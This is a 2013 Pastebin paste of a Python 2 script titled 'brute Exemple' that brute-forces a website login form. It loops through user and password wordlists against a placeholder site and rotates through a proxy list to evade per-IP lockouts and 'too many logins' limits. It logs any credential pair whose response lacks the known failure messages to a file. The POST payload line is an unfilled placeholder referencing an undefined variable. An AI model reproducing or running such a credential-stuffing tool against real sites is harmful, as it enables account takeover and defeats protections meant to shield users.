0xtv

brute Exemple

Dec 7th, 2013
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.18 KB | None | 0 0
  1. #!/usr/bin/python
  2. import urllib2, urllib, cookielib, random, re, multiprocessing
  3. userlist = "users.txt"
  4. wordlist = "passwords.txt"
  5. proxylist = 'working-proxies.txt'
  6. def go(url, number, postdata):
  7.     try:
  8.         proxies = open(proxylist, "r").readlines()
  9.         ip = proxies[number].replace('\n', '')
  10.         print 'using proxy:', ip
  11.  
  12.         postreq = urllib.urlencode(postdata)
  13.         headers = {'User-Agent' : 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6'}
  14.  
  15.         urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler({'http': ip})))
  16.  
  17.         req = urllib2.Request(url, postreq, headers)
  18.         response = urllib2.urlopen(req)
  19.         source = response.read()
  20.         #my_ip = urllib2.urlopen('http://whatthehellismyip.com/?ipraw').read()
  21.         #print 'your ip is' , my_ip #to check if proxies are really working
  22.         return source
  23.     except urllib2.HTTPError, e:
  24.         print e.code
  25.     except urllib2.URLError, e:
  26.         print e.args
  27.     except:
  28.         print "error"
  29.  
  30. def main():
  31.     index = 0
  32.     users = open(userlist, "r").readlines()
  33.     for thisu in users:
  34.         thisu = thisu.replace('\n', '')
  35.         words = open(wordlist, "r").readlines()
  36.         for apass in words:
  37.             apass = apass.replace('\n', '')
  38.             url1 = "https://www.SITE.net/login"
  39.             post1 = {"title":content, "title":content}
  40.             source1 = go(url1, index, post1)
  41.             print "trying " , thisu , ":" , apass
  42.             if index < 963:
  43.                 index = index + 1
  44.             else:
  45.                 index = 0
  46.             if (("Please enter your login" not in source1) and ("Incorrect password" not in source1) and ("too many invalid logins. Please try later" not in source1)):
  47.                 f = open("./SITElogins.txt", "a")
  48.                 f.write(thisu + "\t" + apass + "\n")
  49.                 f.close()
  50.                 print "Worked! saved!"
  51.             elif ("Incorrect user or pass" in source1):
  52.                 print "no"
  53.             elif ("error1." in source1):
  54.                 print "too many logins from IP"
  55.             else:
  56.                 print "unknown error"
  57. main();
Advertisement
Add Comment
Please, Sign In to add comment